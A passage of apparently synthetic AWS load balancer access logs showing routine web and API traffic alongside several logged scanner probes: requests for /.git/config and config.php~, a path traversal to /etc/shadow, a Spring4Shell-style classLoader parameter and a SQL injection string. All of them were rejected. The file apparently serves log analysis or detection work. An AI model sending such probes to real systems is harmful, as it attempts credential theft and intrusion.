Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb88-f6ccd1fbfe074eb6bec57f4a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:16:56.641786Z "forward" "-" "-" "10.0.116.2:443" "200" "-" "-" +https 2024-11-01T00:16:57.104209Z staging-alb 96.215.198.211:10846 171.161.45.173:80 0.053864 0.724671 0.015779 200 200 893 9912 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb89-32a58e804e484809ad3b7904" "staging-alb.example.com" "-" 8 2024-11-01T00:16:57.104209Z "forward" "-" "-" "171.161.45.173:80" "200" "-" "-" +https 2024-11-01T00:16:57.516165Z prod-api-alb 78.179.233.181:25384 10.0.68.101:443 0.088266 0.109831 0.010884 200 200 286 4946 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb89-557f78e018b84e90a84059fe" "prod-api-alb.example.com" "-" 10 2024-11-01T00:16:57.516165Z "forward" "-" "-" "10.0.68.101:443" "200" "-" "-" +https 2024-11-01T00:16:57.719824Z prod-web-alb 185.181.55.98:16130 10.0.174.204:443 0.010913 0.208727 0.053056 403 403 767 8373 "POST /.git/config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb89-dfd3c5a67d33497282ee93a6" "-" "-" 8 2024-11-01T00:16:57.719824Z "forward" "-" "-" "10.0.174.204:443" "403" "-" "-" +https 2024-11-01T00:16:58.041643Z staging-alb 238.241.235.205:19357 253.206.159.172:443 0.135139 0.428134 0.042057 301 301 62 11561 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb8a-83a0888849844b71af8c6f68" "staging-alb.example.com" "-" 4 2024-11-01T00:16:58.041643Z "forward" "-" "-" "253.206.159.172:443" "301" "-" "-" +https 2024-11-01T00:16:58.372444Z prod-web-alb 48.8.61.123:55668 10.0.224.145:443 0.099545 0.220654 0.068505 302 302 928 11602 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb8a-2afdaa2a88a545e6999bbe10" "prod-web-alb.example.com" "-" 0 2024-11-01T00:16:58.372444Z "forward" "-" "-" "10.0.224.145:443" "302" "-" "-" +https 2024-11-01T00:16:59.096411Z staging-alb 116.28.24.147:62701 4.114.168.36:80 0.120375 0.356246 0.073762 301 301 739 10780 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb8b-cec06095f74d4077b9389883" "staging-alb.example.com" "-" 8 2024-11-01T00:16:59.096411Z "forward" "-" "-" "4.114.168.36:80" "301" "-" "-" +https 2024-11-01T00:16:59.488938Z prod-web-alb 62.55.126.15:39989 10.0.106.232:443 0.098672 0.495339 0.008460 301 301 950 8182 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb8b-670f7d14e64c44c498f39d22" "prod-web-alb.example.com" "-" 7 2024-11-01T00:16:59.488938Z "forward" "-" "-" "10.0.106.232:443" "301" "-" "-" +https 2024-11-01T00:17:00.093652Z prod-api-alb 193.27.228.135:41885 10.0.101.113:443 0.081214 0.425393 0.034939 404 404 144 4897 "GET /images/../../../../etc/shadow HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb8c-ba4fe470978242cea61aedbb" "-" "-" 7 2024-11-01T00:17:00.093652Z "forward" "-" "-" "10.0.101.113:443" "404" "-" "-" +https 2024-11-01T00:17:00.587664Z prod-web-alb 220.200.220.209:33945 10.0.116.141:443 0.055939 0.013923 0.020488 302 302 882 7705 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb8c-7a5b65a1232544ceb8b2af3c" "prod-web-alb.example.com" "-" 4 2024-11-01T00:17:00.587664Z "forward" "-" "-" "10.0.116.141:443" "302" "-" "-" +https 2024-11-01T00:17:00.740645Z staging-alb 211.95.61.80:30872 143.64.73.105:8080 0.075222 0.543276 0.124621 200 200 54 6725 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb8c-45ee3dc2aacc448995930d96" "staging-alb.example.com" "-" 0 2024-11-01T00:17:00.740645Z "forward" "-" "-" "143.64.73.105:8080" "200" "-" "-" +https 2024-11-01T00:17:00.876979Z prod-web-alb 134.246.252.83:58283 10.0.81.186:443 0.034549 0.362922 0.070292 200 200 561 13907 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb8c-9c345359b1b14777853b8bb5" "prod-web-alb.example.com" "-" 3 2024-11-01T00:17:00.876979Z "forward" "-" "-" "10.0.81.186:443" "200" "-" "-" +https 2024-11-01T00:17:01.006602Z prod-web-alb 228.218.39.85:62288 10.0.108.47:443 0.086052 0.243941 0.019301 404 404 958 10308 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb8d-7adeb0b555f04244b2c113f5" "prod-web-alb.example.com" "-" 3 2024-11-01T00:17:01.006602Z "forward" "-" "-" "10.0.108.47:443" "404" "-" "-" +http 2024-11-01T00:17:02.476629Z staging-alb 43.124.67.129:19832 80.200.16.42:80 0.134653 0.710026 0.025667 301 301 360 2676 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb8e-ebea3a4f49f14b18a2530a60" "staging-alb.example.com" "-" 4 2024-11-01T00:17:02.476629Z "forward" "-" "-" "80.200.16.42:80" "301" "-" "-" +https 2024-11-01T00:17:03.923849Z staging-alb 69.22.79.188:32676 91.68.219.165:443 0.001118 0.238356 0.002241 301 301 649 8169 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb8f-524540c4756f4226b57dec66" "staging-alb.example.com" "-" 2 2024-11-01T00:17:03.923849Z "forward" "-" "-" "91.68.219.165:443" "301" "-" "-" +https 2024-11-01T00:17:04.517282Z staging-alb 75.186.142.231:20105 240.138.199.59:8080 0.111367 0.237734 0.091762 302 302 899 14912 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb90-95aea47f89084f7ca8900fc4" "staging-alb.example.com" "-" 4 2024-11-01T00:17:04.517282Z "forward" "-" "-" "240.138.199.59:8080" "302" "-" "-" +https 2024-11-01T00:17:06.282120Z prod-web-alb 21.249.92.122:18189 10.0.165.192:443 0.059721 0.355457 0.034202 200 200 300 6538 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb92-f1198e53bfec43e183c79d8e" "prod-web-alb.example.com" "-" 2 2024-11-01T00:17:06.282120Z "forward" "-" "-" "10.0.165.192:443" "200" "-" "-" +https 2024-11-01T00:17:07.267022Z prod-web-alb 26.244.5.174:29211 10.0.88.79:443 0.084467 0.320054 0.091060 200 200 958 6604 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb93-b9316cb42cc6478885cb6ac4" "prod-web-alb.example.com" "-" 1 2024-11-01T00:17:07.267022Z "forward" "-" "-" "10.0.88.79:443" "200" "-" "-" +https 2024-11-01T00:17:09.164905Z staging-alb 45.155.205.139:44519 119.217.166.175:443 0.050956 0.586194 0.056829 403 403 731 12401 "GET /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb95-1672ab6059c24832b0d02371" "-" "-" 2 2024-11-01T00:17:09.164905Z "forward" "-" "-" "119.217.166.175:443" "403" "-" "-" +https 2024-11-01T00:17:10.144856Z prod-api-alb 195.208.178.84:64446 10.0.39.152:443 0.068872 0.051278 0.032561 404 404 178 2751 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb96-b359420bdbfc43c6960426e3" "prod-api-alb.example.com" "-" 0 2024-11-01T00:17:10.144856Z "forward" "-" "-" "10.0.39.152:443" "404" "-" "-" +http 2024-11-01T00:17:10.632005Z staging-alb 5.103.191.119:44623 9.249.247.48:8080 0.020474 0.191562 0.130476 200 200 728 11849 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb96-d07a45258d724a70aacc0d6b" "staging-alb.example.com" "-" 9 2024-11-01T00:17:10.632005Z "forward" "-" "-" "9.249.247.48:8080" "200" "-" "-" +https 2024-11-01T00:17:11.136361Z prod-web-alb 96.244.101.80:53111 10.0.249.185:443 0.092120 0.237750 0.048131 200 200 536 4183 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb97-5945c8ea753c49039f3147ac" "prod-web-alb.example.com" "-" 7 2024-11-01T00:17:11.136361Z "forward" "-" "-" "10.0.249.185:443" "200" "-" "-" +http 2024-11-01T00:17:12.618445Z staging-alb 229.193.105.148:36738 254.40.25.196:80 0.050486 0.595866 0.117454 200 200 304 3160 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb98-98321c1f49c94a55b12b5999" "staging-alb.example.com" "-" 6 2024-11-01T00:17:12.618445Z "forward" "-" "-" "254.40.25.196:80" "200" "-" "-" +https 2024-11-01T00:17:14.029656Z prod-web-alb 67.200.30.203:48382 10.0.103.2:443 0.092107 0.227505 0.040917 200 200 981 14950 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb9a-e95aa258e9d043aeb243698a" "prod-web-alb.example.com" "-" 1 2024-11-01T00:17:14.029656Z "forward" "-" "-" "10.0.103.2:443" "200" "-" "-" +https 2024-11-01T00:17:15.372278Z prod-api-alb 67.112.90.245:25556 10.0.77.129:443 0.024082 0.002129 0.051593 200 200 598 5643 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb9b-d611f156040645d389cd8c8d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:17:15.372278Z "forward" "-" "-" "10.0.77.129:443" "200" "-" "-" +https 2024-11-01T00:17:15.746514Z prod-web-alb 238.145.47.144:54218 10.0.64.7:443 0.041425 0.134724 0.074744 200 200 680 5399 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb9b-e15a3f1cb6d849e0874f6f57" "prod-web-alb.example.com" "-" 10 2024-11-01T00:17:15.746514Z "forward" "-" "-" "10.0.64.7:443" "200" "-" "-" +https 2024-11-01T00:17:17.432474Z prod-api-alb 193.214.163.92:56079 10.0.181.202:443 0.073313 0.374436 0.031520 301 301 261 5086 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb9d-8df1d9a18b9648f7a870f926" "prod-api-alb.example.com" "-" 6 2024-11-01T00:17:17.432474Z "forward" "-" "-" "10.0.181.202:443" "301" "-" "-" +https 2024-11-01T00:17:17.590985Z prod-api-alb 155.120.7.149:32864 10.0.158.182:443 0.068398 0.231812 0.096421 200 200 257 2160 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb9d-e7c5814eea0043628ae00266" "prod-api-alb.example.com" "-" 7 2024-11-01T00:17:17.590985Z "forward" "-" "-" "10.0.158.182:443" "200" "-" "-" +https 2024-11-01T00:17:17.897457Z staging-alb 181.75.82.221:39031 28.7.78.96:80 0.147196 0.503738 0.127649 200 200 615 3930 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb9d-6a5338768d5048d584faa3cf" "staging-alb.example.com" "-" 2 2024-11-01T00:17:17.897457Z "forward" "-" "-" "28.7.78.96:80" "200" "-" "-" +https 2024-11-01T00:17:19.206413Z prod-web-alb 255.239.220.157:20496 10.0.147.83:443 0.033011 0.365461 0.039062 200 200 304 2435 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb9f-ab8ab04231b445c2a8320835" "prod-web-alb.example.com" "-" 4 2024-11-01T00:17:19.206413Z "forward" "-" "-" "10.0.147.83:443" "200" "-" "-" +https 2024-11-01T00:17:21.077444Z staging-alb 174.149.221.161:25628 152.253.44.104:443 0.011148 0.130373 0.088059 301 301 96 3739 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bba1-032a0026a3e948eba898d74e" "staging-alb.example.com" "-" 7 2024-11-01T00:17:21.077444Z "forward" "-" "-" "152.253.44.104:443" "301" "-" "-" +https 2024-11-01T00:17:22.794838Z prod-api-alb 185.181.76.214:44954 10.0.46.215:443 0.040107 0.480945 0.060929 500 500 552 14740 "POST /login?id=1'-- HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bba2-0066e12216ed4d98b24d0bd9" "-" "-" 10 2024-11-01T00:17:22.794838Z "forward" "-" "-" "10.0.46.215:443" "500" "-" "-" +https 2024-11-01T00:17:23.475311Z prod-web-alb 217.61.141.199:36409 10.0.207.209:443 0.033404 0.244164 0.052239 404 404 207 13512 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bba3-bbf51699d6184d7abd10eb58" "prod-web-alb.example.com" "-" 4 2024-11-01T00:17:23.475311Z "forward" "-" "-" "10.0.207.209:443" "404" "-" "-" +https 2024-11-01T00:17:24.685852Z prod-web-alb 74.116.234.85:61641 10.0.17.27:443 0.035219 0.222441 0.095395 200 200 709 12453 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bba4-bac12900f70d49a9aae2dbce" "prod-web-alb.example.com" "-" 10 2024-11-01T00:17:24.685852Z "forward" "-" "-" "10.0.17.27:443" "200" "-" "-" +https 2024-11-01T00:17:26.632820Z prod-api-alb 196.82.170.186:53620 10.0.244.57:443 0.000352 0.411006 0.034737 200 200 249 2344 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bba6-7de3fba7ded046dbb7a189ea" "prod-api-alb.example.com" "-" 2 2024-11-01T00:17:26.632820Z "forward" "-" "-" "10.0.244.57:443" "200" "-" "-" +https 2024-11-01T00:17:26.903130Z prod-api-alb 90.174.65.195:16068 10.0.132.80:443 0.070368 0.357067 0.025665 200 200 267 9497 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bba6-ec4eb7b9c22142cca78b87fc" "prod-api-alb.example.com" "-" 1 2024-11-01T00:17:26.903130Z "forward" "-" "-" "10.0.132.80:443" "200" "-" "-" +https 2024-11-01T00:17:27.248843Z staging-alb 55.196.185.219:38058 87.106.140.59:443 0.039692 0.662389 0.015947 200 200 549 14693 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bba7-00949fa299ac4bbd911234d5" "staging-alb.example.com" "-" 5 2024-11-01T00:17:27.248843Z "forward" "-" "-" "87.106.140.59:443" "200" "-" "-" +https 2024-11-01T00:17:28.129896Z prod-web-alb 223.4.97.100:56508 10.0.50.88:443 0.084976 0.206133 0.078773 302 302 123 10427 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bba8-65d4d0e229b541aa8fa98d1f" "prod-web-alb.example.com" "-" 6 2024-11-01T00:17:28.129896Z "forward" "-" "-" "10.0.50.88:443" "302" "-" "-" +https 2024-11-01T00:17:28.449954Z prod-web-alb 39.225.253.146:32788 10.0.233.183:443 0.042737 0.199275 0.035783 200 200 298 5192 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bba8-0eb2b25f09034eb4b2a7d942" "prod-web-alb.example.com" "-" 4 2024-11-01T00:17:28.449954Z "forward" "-" "-" "10.0.233.183:443" "200" "-" "-" +https 2024-11-01T00:17:29.399047Z staging-alb 21.66.223.252:35067 159.88.156.241:80 0.143424 0.336258 0.119614 200 200 367 12225 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bba9-425a8c435358497fa0272d27" "staging-alb.example.com" "-" 3 2024-11-01T00:17:29.399047Z "forward" "-" "-" "159.88.156.241:80" "200" "-" "-" +http 2024-11-01T00:17:30.191616Z staging-alb 36.201.111.125:16159 39.233.44.154:443 0.070075 0.628646 0.127390 200 200 571 4130 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbaa-b3e1c09998544f98bcec66ea" "staging-alb.example.com" "-" 6 2024-11-01T00:17:30.191616Z "forward" "-" "-" "39.233.44.154:443" "200" "-" "-" +http 2024-11-01T00:17:31.807329Z staging-alb 95.131.123.63:59384 10.91.122.113:80 0.071489 0.532608 0.072074 200 200 623 8890 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbab-a4f429502f5b4b71945c59ca" "staging-alb.example.com" "-" 10 2024-11-01T00:17:31.807329Z "forward" "-" "-" "10.91.122.113:80" "200" "-" "-" +http 2024-11-01T00:17:31.916680Z staging-alb 146.92.20.12:63538 71.245.220.170:443 0.074713 0.470934 0.016572 301 301 668 10394 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbab-560039f02cf64048960c5d7f" "staging-alb.example.com" "-" 4 2024-11-01T00:17:31.916680Z "forward" "-" "-" "71.245.220.170:443" "301" "-" "-" +https 2024-11-01T00:17:33.374881Z prod-api-alb 185.181.55.98:26106 10.0.114.238:443 0.080585 0.237910 0.035309 401 401 311 9129 "POST /config.php~ HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbad-c2520fcf0cbc46918ad0a317" "-" "-" 6 2024-11-01T00:17:33.374881Z "forward" "-" "-" "10.0.114.238:443" "401" "-" "-" +https 2024-11-01T00:17:35.268035Z staging-alb 181.24.170.85:39615 176.243.248.77:8080 0.042041 0.458965 0.042621 302 302 823 9659 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbaf-3ee683ed5ae048c3a77546d9" "staging-alb.example.com" "-" 0 2024-11-01T00:17:35.268035Z "forward" "-" "-" "176.243.248.77:8080" "302" "-" "-" +https 2024-11-01T00:17:36.604991Z prod-api-alb 250.179.104.201:35538 10.0.6.167:443 0.007453 0.489987 0.085027 301 301 672 14721 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbb0-0a4fdd6504634275bbaa2b3a" "prod-api-alb.example.com" "-" 10 2024-11-01T00:17:36.604991Z "forward" "-" "-" "10.0.6.167:443" "301" "-" "-" +https 2024-11-01T00:17:38.593042Z prod-web-alb 116.136.62.192:31238 10.0.45.115:443 0.094062 0.255252 0.037725 200 200 196 203 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbb2-90f9b4dab42a44a3be343e6a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:17:38.593042Z "forward" "-" "-" "10.0.45.115:443" "200" "-" "-" +https 2024-11-01T00:17:39.775511Z staging-alb 78.42.103.57:15807 141.64.193.13:8080 0.132534 0.150872 0.067785 200 200 410 11863 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbb3-0ca51f541e504fbfb0637e3e" "staging-alb.example.com" "-" 10 2024-11-01T00:17:39.775511Z "forward" "-" "-" "141.64.193.13:8080" "200" "-" "-" +https 2024-11-01T00:17:39.908339Z 